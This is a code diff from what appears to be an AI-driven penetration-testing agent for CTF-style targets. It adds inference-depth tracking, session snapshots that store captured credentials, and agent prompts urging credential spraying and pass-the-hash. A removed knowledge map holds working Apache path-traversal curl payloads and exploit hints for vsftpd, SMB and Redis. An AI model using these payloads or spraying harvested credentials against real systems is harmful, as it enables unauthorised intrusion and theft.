save() {
|
|
2322
2575
|
try {
|
|
@@ -2551,10 +2804,29 @@ var TargetState = class {
|
|
|
2551
2804
|
};
|
|
2552
2805
|
|
|
2553
2806
|
// src/engine/state/finding-state.ts
|
|
2807
|
+
var FALLBACK_INFERENCE_DEPTH = 2;
|
|
2554
2808
|
var FindingState = class {
|
|
2555
2809
|
findings = [];
|
|
2810
|
+
/**
|
|
2811
|
+
* Add a finding to the state.
|
|
2812
|
+
*
|
|
2813
|
+
* inferenceDepth 자동 계산 (SAUP §18):
|
|
2814
|
+
* - finding.inferenceDepth가 명시되면 그대로 사용
|
|
2815
|
+
* - finding.basedOnFindingIds가 있으면 참조 Finding의 최대 depth+1 자동 설정
|
|
2816
|
+
* - 둘 다 없으면 undefined 유지 (기존 동작)
|
|
2817
|
+
*/
|
|
2556
2818
|
add(finding) {
|
|
2557
|
-
|
|
2819
|
+
let resolved = finding;
|
|
2820
|
+
if (finding.inferenceDepth === void 0 && finding.basedOnFindingIds?.length) {
|
|
2821
|
+
const referencedDepths = finding.basedOnFindingIds.map((id) => this.findings.find((f) => f.id === id)?.inferenceDepth).filter((d) => d !== void 0);
|
|
2822
|
+
if (referencedDepths.length > 0) {
|
|
2823
|
+
const maxDepth = Math.max(...referencedDepths);
|
|
2824
|
+
resolved = { ...finding, inferenceDepth: maxDepth + 1 };
|
|
2825
|
+
} else {
|
|
2826
|
+
resolved = { ...finding, inferenceDepth: FALLBACK_INFERENCE_DEPTH };
|
|
2827
|
+
}
|
|
2828
|
+
}
|
|
2829
|
+
this.findings.push(resolved);
|
|
2558
2830
|
}
|
|
2559
2831
|
getAll() {
|
|
2560
2832
|
return this.findings;
|
|
@@ -2986,6 +3258,12 @@ var SharedState = class {
|
|
|
2986
3258
|
episodicMemory = new EpisodicMemory();
|
|
2987
3259
|
persistentMemory = new PersistentMemory();
|
|
2988
3260
|
dynamicTechniques = new DynamicTechniqueLibrary();
|
|
3261
|
+
/**
|
|
3262
|
+
* §18 Epistemic Awareness: Reflector LLM의 자기인식 결과를 다음 턴에 주입하기 위해 저장.
|
|
3263
|
+
* WHY: Reflector가 "검증 안 된 전제"를 판단해도 PromptBuilder가 읽지 않으면 무의미.
|
|
3264
|
+
* 이 필드로 turn N의 reflection → turn N+1 prompt 레이어(epistemic-check)에 주입된다.
|
|
3265
|
+
*/
|
|
3266
|
+
lastReflection = null;
|
|
2989
3267
|
constructor() {
|
|
2990
3268
|
this.targetState = new TargetState(this.attackGraph);
|
|
2991
3269
|
this.findingState = new FindingState();
|
|
@@ -3003,6 +3281,7 @@ var SharedState = class {
|
|
|
3003
3281
|
this.workingMemory.clear();
|
|
3004
3282
|
this.episodicMemory.clear();
|
|
3005
3283
|
this.dynamicTechniques.clear();
|
|
3284
|
+
this.lastReflection = null;
|
|
3006
3285
|
}
|
|
3007
3286
|
// Delegation to MissionState
|
|
3008
3287
|
setMissionSummary(summary) {
|
|
@@ -3037,7 +3316,7 @@ var SharedState = class {
|
|
|
3037
3316
|
setScope(scope) {
|
|
3038
3317
|
this.engagementState.setScope(scope, this.sessionState.getPhase());
|
|
3039
3318
|
}
|
|
3040
|
-
// Delegation to
|
|
3319
|
+
// Delegation to TodoState
|
|
3041
3320
|
addTodo(content, priority = PRIORITIES.MEDIUM) {
|
|
3042
3321
|
return this.todoState.add(content, priority);
|
|
3043
3322
|
}
|
|
@@ -3124,23 +3403,11 @@ var SharedState = class {
|
|
|
3124
3403
|
getTimeStatus() {
|
|
3125
3404
|
return this.sessionState.getTimeStatus();
|
|
3126
3405
|
}
|
|
3127
|
-
/** @deprecated Use StateSerializer.toPrompt(state) */
|
|
3128
|
-
toPrompt() {
|
|
3129
|
-
const lines = [];
|
|
3130
|
-
const eng = this.getEngagement();
|
|
3131
|
-
if (eng) lines.push(`Engagement: ${eng.name} (${eng.client})`);
|
|
3132
|
-
const t = this.getAllTargets();
|
|
3133
|
-
if (t.length > 0) lines.push(`Targets: ${t.length}`);
|
|
3134
|
-
const f = this.getFindings();
|
|
3135
|
-
if (f.length > 0) lines.push(`Findings: ${f.length}`);
|
|
3136
|
-
lines.push(`Phase: ${this.getPhase()}`);
|
|
3137
|
-
return lines.join("\n");
|
|
3138
|
-
}
|
|
3139
3406
|
};
|
|
3140
3407
|
|
|
3141
3408
|
// src/engine/process/process-lifecycle.ts
|
|
3142
3409
|
import { spawn as spawn4 } from "child_process";
|
|
3143
|
-
import { writeFileSync as writeFileSync4, unlinkSync } from "fs";
|
|
3410
|
+
import { writeFileSync as writeFileSync4, unlinkSync as unlinkSync2 } from "fs";
|
|
3144
3411
|
|
|
3145
3412
|
// src/engine/process/process-tree.ts
|
|
3146
3413
|
import { execSync } from "child_process";
|
|
@@ -4258,7 +4525,7 @@ function startBackgroundProcess(command, options = {}) {
|
|
|
4258
4525
|
if (!torLeak.safe) {
|
|
4259
4526
|
for (const f of [stdoutFile, stderrFile, stdinFile]) {
|
|
4260
4527
|
try {
|
|
4261
|
-
|
|
4528
|
+
unlinkSync2(f);
|
|
4262
4529
|
} catch {
|
|
4263
4530
|
}
|
|
4264
4531
|
}
|
|
@@ -4461,7 +4728,7 @@ function getAllProcessEntries() {
|
|
|
4461
4728
|
|
|
4462
4729
|
// src/engine/process/process-stopper.ts
|
|
4463
4730
|
import { execSync as execSync2 } from "child_process";
|
|
4464
|
-
import { unlinkSync as
|
|
4731
|
+
import { unlinkSync as unlinkSync3 } from "fs";
|
|
4465
4732
|
var cleanupDone = false;
|
|
4466
4733
|
async function stopBackgroundProcess(processId) {
|
|
4467
4734
|
const proc = getProcess(processId);
|
|
@@ -4473,15 +4740,15 @@ async function stopBackgroundProcess(processId) {
|
|
|
4473
4740
|
await killProcessTree(proc.pid, proc.childPids);
|
|
4474
4741
|
}
|
|
4475
4742
|
try {
|
|
4476
|
-
|
|
4743
|
+
unlinkSync3(proc.stdoutFile);
|
|
4477
4744
|
} catch {
|
|
4478
4745
|
}
|
|
4479
4746
|
try {
|
|
4480
|
-
|
|
4747
|
+
unlinkSync3(proc.stderrFile);
|
|
4481
4748
|
} catch {
|
|
4482
4749
|
}
|
|
4483
4750
|
try {
|
|
4484
|
-
|
|
4751
|
+
unlinkSync3(proc.stdinFile);
|
|
4485
4752
|
} catch {
|
|
4486
4753
|
}
|
|
4487
4754
|
logEvent(processId, PROCESS_EVENTS.STOPPED, `Stopped ${proc.role} (PID:${proc.pid}, children:${proc.childPids.length})`);
|
|
@@ -4551,15 +4818,15 @@ async function cleanupAllProcesses() {
|
|
|
4551
4818
|
}
|
|
4552
4819
|
for (const [, proc] of backgroundProcesses) {
|
|
4553
4820
|
try {
|
|
4554
|
-
|
|
4821
|
+
unlinkSync3(proc.stdoutFile);
|
|
4555
4822
|
} catch {
|
|
4556
4823
|
}
|
|
4557
4824
|
try {
|
|
4558
|
-
|
|
4825
|
+
unlinkSync3(proc.stderrFile);
|
|
4559
4826
|
} catch {
|
|
4560
4827
|
}
|
|
4561
4828
|
try {
|
|
4562
|
-
|
|
4829
|
+
unlinkSync3(proc.stdinFile);
|
|
4563
4830
|
} catch {
|
|
4564
4831
|
}
|
|
4565
4832
|
}
|
|
@@ -4651,22 +4918,22 @@ Ports In Use: ${ports.join(", ")}`);
|
|
|
4651
4918
|
}
|
|
4652
4919
|
|
|
4653
4920
|
// src/engine/process/process-cleanup.ts
|
|
4654
|
-
import { unlinkSync as
|
|
4921
|
+
import { unlinkSync as unlinkSync4 } from "fs";
|
|
4655
4922
|
function syncCleanupAllProcesses(processMap) {
|
|
4656
4923
|
for (const [, proc] of processMap) {
|
|
4657
4924
|
if (!proc.hasExited) {
|
|
4658
4925
|
killProcessTreeSync(proc.pid, proc.childPids);
|
|
4659
4926
|
}
|
|
4660
4927
|
try {
|
|
4661
|
-
|
|
4928
|
+
unlinkSync4(proc.stdoutFile);
|
|
4662
4929
|
} catch {
|
|
4663
4930
|
}
|
|
4664
4931
|
try {
|
|
4665
|
-
|
|
4932
|
+
unlinkSync4(proc.stderrFile);
|
|
4666
4933
|
} catch {
|
|
4667
4934
|
}
|
|
4668
4935
|
try {
|
|
4669
|
-
|
|
4936
|
+
unlinkSync4(proc.stdinFile);
|
|
4670
4937
|
} catch {
|
|
4671
4938
|
}
|
|
4672
4939
|
}
|
|
@@ -4691,12 +4958,25 @@ function registerExitHandlers(processMap) {
|
|
|
4691
4958
|
registerExitHandlers(getBackgroundProcessesMap());
|
|
4692
4959
|
|
|
4693
4960
|
// src/engine/state/state-serializer.ts
|
|
4961
|
+
var UNVERIFIED_CHAIN_DEPTH_THRESHOLD = 2;
|
|
4694
4962
|
var StateSerializer = class {
|
|
4695
4963
|
/**
|
|
4696
4964
|
* Convert full state to a compact prompt summary
|
|
4697
4965
|
*/
|
|
4698
4966
|
static toPrompt(state) {
|
|
4699
4967
|
const lines = [];
|
|
4968
|
+
this.formatContextAndMission(state, lines);
|
|
4969
|
+
this.formatTargets(state, lines);
|
|
4970
|
+
this.formatFindings(state, lines);
|
|
4971
|
+
this.formatLoot(state, lines);
|
|
4972
|
+
this.formatTodos(state, lines);
|
|
4973
|
+
this.formatEnvironment(state, lines);
|
|
4974
|
+
const snapshot = state.persistentMemory.snapshotToPrompt();
|
|
4975
|
+
if (snapshot) lines.push(snapshot);
|
|
4976
|
+
lines.push(`Phase: ${state.getPhase()}`);
|
|
4977
|
+
return lines.join("\n");
|
|
4978
|
+
}
|
|
4979
|
+
static formatContextAndMission(state, lines) {
|
|
4700
4980
|
const engagement = state.getEngagement();
|
|
4701
4981
|
const scope = state.getScope();
|
|
4702
4982
|
if (engagement) {
|
|
@@ -4713,54 +4993,83 @@ var StateSerializer = class {
|
|
|
4713
4993
|
if (checklist.length > 0) {
|
|
4714
4994
|
lines.push(`STRATEGIC CHECKLIST:`);
|
|
4715
4995
|
for (const item of checklist) {
|
|
4716
|
-
const status = item.isCompleted ?
|
|
4996
|
+
const status = item.isCompleted ? "[x]" : "[ ]";
|
|
4717
4997
|
lines.push(` ${status} ${item.text} [${item.id}]`);
|
|
4718
4998
|
}
|
|
4719
4999
|
}
|
|
5000
|
+
}
|
|
5001
|
+
static formatTargets(state, lines) {
|
|
4720
5002
|
const targets = state.getAllTargets();
|
|
4721
|
-
if (targets.length
|
|
4722
|
-
|
|
4723
|
-
|
|
4724
|
-
|
|
4725
|
-
|
|
4726
|
-
|
|
4727
|
-
|
|
4728
|
-
|
|
4729
|
-
|
|
4730
|
-
|
|
4731
|
-
|
|
4732
|
-
|
|
4733
|
-
|
|
4734
|
-
}
|
|
5003
|
+
if (targets.length === 0) return;
|
|
5004
|
+
const byCategory = /* @__PURE__ */ new Map();
|
|
5005
|
+
for (const t of targets) {
|
|
5006
|
+
const cat = t.primaryCategory || SERVICE_CATEGORIES.NETWORK;
|
|
5007
|
+
if (!byCategory.has(cat)) byCategory.set(cat, []);
|
|
5008
|
+
byCategory.get(cat).push(t);
|
|
5009
|
+
}
|
|
5010
|
+
lines.push(`Targets (${targets.length}):`);
|
|
5011
|
+
for (const [cat, catTargets] of byCategory) {
|
|
5012
|
+
lines.push(` [${cat}] ${catTargets.length} hosts`);
|
|
5013
|
+
for (const t of catTargets.slice(0, DISPLAY_LIMITS.TARGET_PREVIEW)) {
|
|
5014
|
+
const ports = (t.ports || []).map((p) => `${p.port}/${p.service}`).join(", ");
|
|
5015
|
+
lines.push(` ${t.ip}${t.hostname ? ` (${t.hostname})` : ""}: ${ports || "unknown"}`);
|
|
4735
5016
|
}
|
|
4736
5017
|
}
|
|
5018
|
+
}
|
|
5019
|
+
static formatFindings(state, lines) {
|
|
4737
5020
|
const findings = state.getFindings();
|
|
4738
|
-
if (findings.length
|
|
4739
|
-
|
|
4740
|
-
|
|
4741
|
-
|
|
4742
|
-
|
|
4743
|
-
|
|
4744
|
-
|
|
4745
|
-
|
|
4746
|
-
|
|
4747
|
-
|
|
4748
|
-
|
|
4749
|
-
}
|
|
5021
|
+
if (findings.length === 0) return;
|
|
5022
|
+
const confirmed = findings.filter((f) => f.confidence >= CONFIDENCE_THRESHOLDS.CONFIRMED).length;
|
|
5023
|
+
const probable = findings.filter((f) => f.confidence >= CONFIDENCE_THRESHOLDS.PROBABLE && f.confidence < CONFIDENCE_THRESHOLDS.CONFIRMED).length;
|
|
5024
|
+
const possible = findings.filter((f) => f.confidence < CONFIDENCE_THRESHOLDS.PROBABLE).length;
|
|
5025
|
+
const unverifiedChain = findings.filter((f) => (f.inferenceDepth ?? 0) >= UNVERIFIED_CHAIN_DEPTH_THRESHOLD).length;
|
|
5026
|
+
lines.push(`Findings: ${findings.length} total (confirmed:${confirmed} probable:${probable} possible:${possible}${unverifiedChain > 0 ? ` \u26A0\uFE0Funverified-chain:${unverifiedChain}` : ""})`);
|
|
5027
|
+
const highPriority = findings.filter((f) => f.confidence >= CONFIDENCE_THRESHOLDS.CONFIRMED).sort((a, b) => b.confidence - a.confidence);
|
|
5028
|
+
if (highPriority.length > 0) {
|
|
5029
|
+
lines.push(` Confirmed Findings (\u2265${CONFIDENCE_THRESHOLDS.CONFIRMED}):`);
|
|
5030
|
+
for (const f of highPriority.slice(0, DISPLAY_LIMITS.FINDING_PREVIEW)) {
|
|
5031
|
+
const tactic = f.attackPattern ? ` [ATT&CK:${f.attackPattern}]` : "";
|
|
5032
|
+
lines.push(` [conf:${f.confidence}|${f.severity.toUpperCase()}] ${f.title} (${f.category || "general"})${tactic}`);
|
|
5033
|
+
}
|
|
5034
|
+
}
|
|
5035
|
+
if (unverifiedChain > 0) {
|
|
5036
|
+
const unverified = findings.filter((f) => (f.inferenceDepth ?? 0) >= UNVERIFIED_CHAIN_DEPTH_THRESHOLD).sort((a, b) => (b.inferenceDepth ?? 0) - (a.inferenceDepth ?? 0));
|
|
5037
|
+
lines.push(` \u26A0\uFE0F Unverified Inference Chain Findings (direct verification recommended):`);
|
|
5038
|
+
for (const f of unverified.slice(0, DISPLAY_LIMITS.FINDING_PREVIEW)) {
|
|
5039
|
+
lines.push(` [depth:${f.inferenceDepth}|conf:${f.confidence}] ${f.title}`);
|
|
4750
5040
|
}
|
|
4751
5041
|
}
|
|
5042
|
+
}
|
|
5043
|
+
static formatLoot(state, lines) {
|
|
4752
5044
|
const loot = state.getLoot();
|
|
4753
|
-
if (loot.length
|
|
4754
|
-
|
|
5045
|
+
if (loot.length === 0) return;
|
|
5046
|
+
const ACTIONABLE_TYPES = /* @__PURE__ */ new Set(["credential", "token", "hash", "api_key", "ssh_key", "ticket", "session"]);
|
|
5047
|
+
const actionable = loot.filter((l) => ACTIONABLE_TYPES.has(l.type));
|
|
5048
|
+
const other = loot.filter((l) => !ACTIONABLE_TYPES.has(l.type));
|
|
5049
|
+
lines.push(`Loot (${loot.length} items):`);
|
|
5050
|
+
for (const l of actionable.slice(0, DISPLAY_LIMITS.COMPACT_LIST_ITEMS)) {
|
|
5051
|
+
lines.push(` \u26A1 USABLE [${l.type}] ${l.host}: ${l.detail}`);
|
|
5052
|
+
}
|
|
5053
|
+
if (actionable.length > DISPLAY_LIMITS.COMPACT_LIST_ITEMS) {
|
|
5054
|
+
lines.push(` ... +${actionable.length - DISPLAY_LIMITS.COMPACT_LIST_ITEMS} more usable items`);
|
|
5055
|
+
}
|
|
5056
|
+
if (other.length > 0) {
|
|
5057
|
+
lines.push(` \u{1F4C1} Other: ${other.length} items (files, certificates, etc.)`);
|
|
4755
5058
|
}
|
|
5059
|
+
if (actionable.length > 0) {
|
|
5060
|
+
lines.push(` \u26A0\uFE0F Cross-service attack: Try ALL \u26A1 USABLE credentials/tokens on ALL discovered services.`);
|
|
5061
|
+
}
|
|
5062
|
+
}
|
|
5063
|
+
static formatTodos(state, lines) {
|
|
4756
5064
|
const todo = state.getTodo();
|
|
4757
|
-
if (todo.length
|
|
4758
|
-
|
|
4759
|
-
|
|
4760
|
-
|
|
4761
|
-
|
|
4762
|
-
}
|
|
5065
|
+
if (todo.length === 0) return;
|
|
5066
|
+
lines.push(`TODO (${todo.length}):`);
|
|
5067
|
+
for (const t of todo.slice(0, DISPLAY_LIMITS.COMPACT_LIST_ITEMS)) {
|
|
5068
|
+
const status = t.status === TODO_STATUSES.DONE ? "[x]" : t.status === TODO_STATUSES.IN_PROGRESS ? "[->]" : "[ ]";
|
|
5069
|
+
lines.push(` ${status} ${t.content} (${t.priority})`);
|
|
4763
5070
|
}
|
|
5071
|
+
}
|
|
5072
|
+
static formatEnvironment(state, lines) {
|
|
4764
5073
|
const resourceInfo = getResourceSummary();
|
|
4765
5074
|
if (resourceInfo) {
|
|
4766
5075
|
lines.push(resourceInfo);
|
|
@@ -4785,13 +5094,11 @@ BLOCKED (leak real IP): ping, traceroute, dig, nslookup, nmap -sU`
|
|
|
4785
5094
|
} else {
|
|
4786
5095
|
lines.push(`Tor Proxy: OFF \u2014 direct connections.`);
|
|
4787
5096
|
}
|
|
4788
|
-
lines.push(`Phase: ${state.getPhase()}`);
|
|
4789
|
-
return lines.join("\n");
|
|
4790
5097
|
}
|
|
4791
5098
|
};
|
|
4792
5099
|
|
|
4793
5100
|
// src/engine/state/state-persistence/saver.ts
|
|
4794
|
-
import { writeFileSync as writeFileSync5, readdirSync, statSync, unlinkSync as
|
|
5101
|
+
import { writeFileSync as writeFileSync5, readdirSync, statSync, unlinkSync as unlinkSync5 } from "fs";
|
|
4795
5102
|
import { join as join4 } from "path";
|
|
4796
5103
|
function saveState(state) {
|
|
4797
5104
|
const sessionsDir = WORKSPACE.SESSIONS;
|
|
@@ -4829,7 +5136,7 @@ function pruneOldSessions(sessionsDir) {
|
|
|
4829
5136
|
}).sort((a, b) => b.mtime - a.mtime);
|
|
4830
5137
|
const toDelete = sessionFiles.slice(AGENT_LIMITS.MAX_SESSION_FILES);
|
|
4831
5138
|
for (const file of toDelete) {
|
|
4832
|
-
|
|
5139
|
+
unlinkSync5(file.path);
|
|
4833
5140
|
}
|
|
4834
5141
|
} catch {
|
|
4835
5142
|
}
|
|
@@ -5587,6 +5894,18 @@ Examples:
|
|
|
5587
5894
|
};
|
|
5588
5895
|
}
|
|
5589
5896
|
state.setPhase(newPhase);
|
|
5897
|
+
const targets = state.getAllTargets();
|
|
5898
|
+
const primaryTarget = targets[0]?.ip ?? "unknown";
|
|
5899
|
+
const loot = state.getLoot();
|
|
5900
|
+
const usableCreds = loot.filter((l) => ["credential", "hash", "token"].includes(l.type)).map((l) => l.detail).slice(0, 10);
|
|
5901
|
+
state.persistentMemory.saveSessionSnapshot({
|
|
5902
|
+
target: primaryTarget,
|
|
5903
|
+
phase: newPhase,
|
|
5904
|
+
achieved: [`Phase transition: ${oldPhase} \u2192 ${newPhase}. Reason: ${reason}`],
|
|
5905
|
+
next: [`Continue from ${newPhase} phase on ${primaryTarget}`],
|
|
5906
|
+
credentials: usableCreds,
|
|
5907
|
+
savedAt: Date.now()
|
|
5908
|
+
});
|
|
5590
5909
|
events.emit({
|
|
5591
5910
|
type: EVENT_TYPES.PHASE_CHANGE,
|
|
5592
5911
|
timestamp: Date.now(),
|
|
@@ -5599,7 +5918,64 @@ Examples:
|
|
|
5599
5918
|
return {
|
|
5600
5919
|
success: true,
|
|
5601
5920
|
output: `Phase changed: ${oldPhase} \u2192 ${newPhase}
|
|
5602
|
-
Reason: ${reason}
|
|
5921
|
+
Reason: ${reason}
|
|
5922
|
+
[Session snapshot saved for resumption]`
|
|
5923
|
+
};
|
|
5924
|
+
}
|
|
5925
|
+
},
|
|
5926
|
+
{
|
|
5927
|
+
name: TOOL_NAMES.SAVE_SESSION_SNAPSHOT,
|
|
5928
|
+
description: `Save a session snapshot for long-session resumption (Insane-level boxes).
|
|
5929
|
+
|
|
5930
|
+
WHY: Insane boxes require multi-hour sessions spanning restarts.
|
|
5931
|
+
Call this when you reach a major milestone so the next session can resume immediately.
|
|
5932
|
+
|
|
5933
|
+
WHEN to call:
|
|
5934
|
+
- You gained a shell (record it with what you know so far)
|
|
5935
|
+
- Phase transition (root \u2192 post-exploit \u2192 lateral)
|
|
5936
|
+
- Flag captured (record what's next)
|
|
5937
|
+
- Before ending a session voluntarily
|
|
5938
|
+
|
|
5939
|
+
The snapshot persists to disk and is auto-injected into the Strategist on the next session start.`,
|
|
5940
|
+
parameters: {
|
|
5941
|
+
target: { type: "string", description: "Target IP or hostname" },
|
|
5942
|
+
achieved: {
|
|
5943
|
+
type: "array",
|
|
5944
|
+
items: { type: "string" },
|
|
5945
|
+
description: "What has been achieved (foothold, privesc steps, flags captured)"
|
|
5946
|
+
},
|
|
5947
|
+
next: {
|
|
5948
|
+
type: "array",
|
|
5949
|
+
items: { type: "string" },
|
|
5950
|
+
description: "Prioritized list of next steps for the next session"
|
|
5951
|
+
},
|
|
5952
|
+
credentials: {
|
|
5953
|
+
type: "array",
|
|
5954
|
+
items: { type: "string" },
|
|
5955
|
+
description: 'Usable credentials in "user:pass" or "user:hash" format'
|
|
5956
|
+
},
|
|
5957
|
+
notes: { type: "string", description: "Optional free-text notes for next session" }
|
|
5958
|
+
},
|
|
5959
|
+
required: ["target", "achieved", "next"],
|
|
5960
|
+
execute: async (p) => {
|
|
5961
|
+
const snapshot = {
|
|
5962
|
+
target: p.target,
|
|
5963
|
+
phase: state.getPhase(),
|
|
5964
|
+
achieved: p.achieved || [],
|
|
5965
|
+
next: p.next || [],
|
|
5966
|
+
credentials: p.credentials || [],
|
|
5967
|
+
notes: p.notes,
|
|
5968
|
+
savedAt: Date.now()
|
|
5969
|
+
};
|
|
5970
|
+
state.persistentMemory.saveSessionSnapshot(snapshot);
|
|
5971
|
+
return {
|
|
5972
|
+
success: true,
|
|
5973
|
+
output: `Session snapshot saved.
|
|
5974
|
+
Target: ${snapshot.target}
|
|
5975
|
+
Phase: ${snapshot.phase}
|
|
5976
|
+
Achieved: ${snapshot.achieved.length} items
|
|
5977
|
+
Next: ${snapshot.next.length} priorities
|
|
5978
|
+
Creds: ${snapshot.credentials.length}`
|
|
5603
5979
|
};
|
|
5604
5980
|
}
|
|
5605
5981
|
}
|
|
@@ -5747,11 +6123,16 @@ Types: credential, hash, token, ssh_key, api_key, file, session, ticket, certifi
|
|
|
5747
6123
|
}
|
|
5748
6124
|
}
|
|
5749
6125
|
state.episodicMemory.record("access_gained", `Loot [${lootTypeStr}] from ${host}: ${detail.slice(0, DISPLAY_LIMITS.MEMORY_EVENT_PREVIEW)}`);
|
|
6126
|
+
const targets = state.getAllTargets();
|
|
6127
|
+
const knownSvcs = targets.flatMap((t) => t.ports.map((p2) => `${t.ip}:${p2.port}(${p2.service || "?"})`)).slice(0, 6).join(", ");
|
|
6128
|
+
const sprayHint = knownSvcs ? `NEXT ACTION: spray on ALL discovered services \u2014 ${knownSvcs}` : `NEXT ACTION: spray on SSH/FTP/SMB/RDP/web-login on all discovered hosts`;
|
|
5750
6129
|
return {
|
|
5751
6130
|
success: true,
|
|
5752
6131
|
output: `Loot recorded: [${lootTypeStr}] from ${host}
|
|
5753
6132
|
Detail: ${detail}
|
|
5754
|
-
` + (isCrackable ? `
|
|
6133
|
+
` + (isCrackable ? `Hash detected. Options:
|
|
6134
|
+
(1) hash_crack immediately
|
|
6135
|
+
(2) pass-the-hash if NTLM: use on SMB/WMI/RDP without cracking` : sprayHint)
|
|
5755
6136
|
};
|
|
5756
6137
|
}
|
|
5757
6138
|
});
|
|
@@ -5825,78 +6206,6 @@ function buildNote(matched, fpMatched, confidence) {
|
|
|
5825
6206
|
return parts.join(" | ");
|
|
5826
6207
|
}
|
|
5827
6208
|
|
|
5828
|
-
// src/shared/utils/knowledge/service-vuln.ts
|
|
5829
|
-
var SERVICE_VULN_MAP = {
|
|
5830
|
-
// Apache
|
|
5831
|
-
"apache/2.4.49": {
|
|
5832
|
-
cves: ["CVE-2021-41773"],
|
|
5833
|
-
exploits: ['curl --path-as-is "http://TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"'],
|
|
5834
|
-
priority: "critical",
|
|
5835
|
-
checks: ["Path traversal to RCE"]
|
|
5836
|
-
},
|
|
5837
|
-
"apache/2.4.50": {
|
|
5838
|
-
cves: ["CVE-2021-42013"],
|
|
5839
|
-
exploits: ['curl --path-as-is "http://TARGET/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"'],
|
|
5840
|
-
priority: "critical",
|
|
5841
|
-
checks: ["Path traversal bypass"]
|
|
5842
|
-
},
|
|
5843
|
-
// SSH
|
|
5844
|
-
"openssh/7.2": {
|
|
5845
|
-
cves: ["CVE-2016-10009", "CVE-2016-10010"],
|
|
5846
|
-
exploits: ["Check for Roaming auth bypass"],
|
|
5847
|
-
priority: "medium",
|
|
5848
|
-
checks: ["Version disclosure", "Weak algorithms"]
|
|
5849
|
-
},
|
|
5850
|
-
// vsftpd
|
|
5851
|
-
"vsftpd/2.3.4": {
|
|
5852
|
-
cves: ["CVE-2011-2523"],
|
|
5853
|
-
exploits: ["Connect with username containing :) to trigger backdoor on port 6200"],
|
|
5854
|
-
priority: "critical",
|
|
5855
|
-
checks: ["Backdoor trigger: user:)"]
|
|
5856
|
-
},
|
|
5857
|
-
// SMB
|
|
5858
|
-
"samba/3.0": {
|
|
5859
|
-
cves: ["CVE-2004-0882"],
|
|
5860
|
-
exploits: ["trans2open exploit"],
|
|
5861
|
-
priority: "high",
|
|
5862
|
-
checks: ["SMBv1 enabled"]
|
|
5863
|
-
},
|
|
5864
|
-
"smb": {
|
|
5865
|
-
cves: ["MS17-010"],
|
|
5866
|
-
exploits: ["EternalBlue exploit"],
|
|
5867
|
-
priority: "critical",
|
|
5868
|
-
checks: ["nmap --script smb-vuln-ms17-010"]
|
|
5869
|
-
},
|
|
5870
|
-
// MySQL
|
|
5871
|
-
"mysql/5.0": {
|
|
5872
|
-
cves: ["CVE-2012-2122"],
|
|
5873
|
-
exploits: ["MariaDB/CMySQL authentication bypass"],
|
|
5874
|
-
priority: "high",
|
|
5875
|
-
checks: ["Try root without password", "mysql -u root"]
|
|
5876
|
-
},
|
|
5877
|
-
// Redis
|
|
5878
|
-
"redis": {
|
|
5879
|
-
cves: [],
|
|
5880
|
-
exploits: ["Unauthenticated RCE via CONFIG SET dir + SLAVEOF"],
|
|
5881
|
-
priority: "critical",
|
|
5882
|
-
checks: ["redis-cli -h TARGET ping", "CONFIG GET dir"]
|
|
5883
|
-
},
|
|
5884
|
-
// Jenkins
|
|
5885
|
-
"jenkins": {
|
|
5886
|
-
cves: [],
|
|
5887
|
-
exploits: ["Script Console RCE", "CVE-2019-1003000"],
|
|
5888
|
-
priority: "high",
|
|
5889
|
-
checks: ["/scriptText endpoint", "/manage/scriptConsole"]
|
|
5890
|
-
},
|
|
5891
|
-
// Elasticsearch
|
|
5892
|
-
"elasticsearch/1": {
|
|
5893
|
-
cves: ["CVE-2014-3120"],
|
|
5894
|
-
exploits: ["Groovy sandbox bypass RCE"],
|
|
5895
|
-
priority: "critical",
|
|
5896
|
-
checks: ["Dynamic script execution"]
|
|
5897
|
-
}
|
|
5898
|
-
};
|
|
5899
|
-
|
|
5900
6209
|
// src/shared/utils/knowledge/ctf/patterns.ts
|
|
5901
6210
|
var FLAG_PATTERNS = {
|
|
5902
6211
|
// Generic CTF flag formats
|
|
@@ -5998,119 +6307,6 @@ function detectFlags(output) {
|
|
|
5998
6307
|
return Array.from(found);
|
|
5999
6308
|
}
|
|
6000
6309
|
|
|
6001
|
-
// src/shared/utils/knowledge/vulns.ts
|
|
6002
|
-
var CHALLENGE_TYPE_SIGNALS = {
|
|
6003
|
-
web: [
|
|
6004
|
-
"http",
|
|
6005
|
-
"https",
|
|
6006
|
-
"nginx",
|
|
6007
|
-
"apache",
|
|
6008
|
-
"flask",
|
|
6009
|
-
"express",
|
|
6010
|
-
"php",
|
|
6011
|
-
"node",
|
|
6012
|
-
"django",
|
|
6013
|
-
"rails",
|
|
6014
|
-
"wordpress",
|
|
6015
|
-
"login form",
|
|
6016
|
-
"graphql",
|
|
6017
|
-
"websocket",
|
|
6018
|
-
"oauth",
|
|
6019
|
-
"jwt",
|
|
6020
|
-
"cookie",
|
|
6021
|
-
"grpc"
|
|
6022
|
-
],
|
|
6023
|
-
pwn: [
|
|
6024
|
-
"buffer overflow",
|
|
6025
|
-
"SUID",
|
|
6026
|
-
"stack",
|
|
6027
|
-
"heap",
|
|
6028
|
-
"format string",
|
|
6029
|
-
"ELF",
|
|
6030
|
-
"binary",
|
|
6031
|
-
"pwntools",
|
|
6032
|
-
"libc",
|
|
6033
|
-
"canary",
|
|
6034
|
-
"NX",
|
|
6035
|
-
"PIE",
|
|
6036
|
-
"seccomp",
|
|
6037
|
-
"shellcode",
|
|
6038
|
-
"tcache",
|
|
6039
|
-
"fastbin",
|
|
6040
|
-
"house of"
|
|
6041
|
-
],
|
|
6042
|
-
crypto: [
|
|
6043
|
-
"RSA",
|
|
6044
|
-
"AES",
|
|
6045
|
-
"cipher",
|
|
6046
|
-
"decrypt",
|
|
6047
|
-
"encrypt",
|
|
6048
|
-
"key",
|
|
6049
|
-
"modulus",
|
|
6050
|
-
"prime",
|
|
6051
|
-
"hash",
|
|
6052
|
-
"base64",
|
|
6053
|
-
"XOR",
|
|
6054
|
-
"padding oracle",
|
|
6055
|
-
"elliptic curve",
|
|
6056
|
-
"lattice",
|
|
6057
|
-
"LLL",
|
|
6058
|
-
"ECDSA",
|
|
6059
|
-
"nonce"
|
|
6060
|
-
],
|
|
6061
|
-
forensics: [
|
|
6062
|
-
"pcap",
|
|
6063
|
-
"memory dump",
|
|
6064
|
-
"disk image",
|
|
6065
|
-
"steganography",
|
|
6066
|
-
"exif",
|
|
6067
|
-
"binwalk",
|
|
6068
|
-
"volatility",
|
|
6069
|
-
"autopsy",
|
|
6070
|
-
"file carving",
|
|
6071
